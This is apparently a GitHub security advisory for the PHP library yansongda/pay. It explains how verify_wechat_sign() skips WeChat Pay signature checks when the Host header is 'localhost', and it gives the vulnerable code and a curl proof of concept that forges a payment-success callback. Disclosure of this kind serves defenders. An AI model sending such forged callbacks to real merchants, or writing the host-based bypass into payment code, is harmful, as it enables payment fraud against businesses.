GHSA-q938-ghwv-8gvc

## Summary

The `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.

This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.

## Vulnerable Code

**`src/Functions.php` lines 243-246:** ```php function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void { // BYPASS: Returns without any signature check if Host header is localhost if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) { return; // No signature verified! }

// ... openssl_verify() only reached when Host != localhost $wechatSerial = $message->getHeaderLine('Wechatpay-Serial'); $sign = $message->getHeaderLine('Wechatpay-Signature'); $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption'); } ```

In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.

## Proof of Concept

```bash curl -X POST https://merchant.example.com/payment/wechat/callback \ -H "Host: localhost" \ -H "Content-Type: application/json" \ -H "Wechatpay-Serial: any" \ -H "Wechatpay-Timestamp: 1234567890" \ -H "Wechatpay-Nonce: abc" \ -H "Wechatpay-Signature: AAAA" \ -d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}' ```

`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.

## Impact

- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks - **No authentication required**: Pure network attack, zero privileges needed - **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.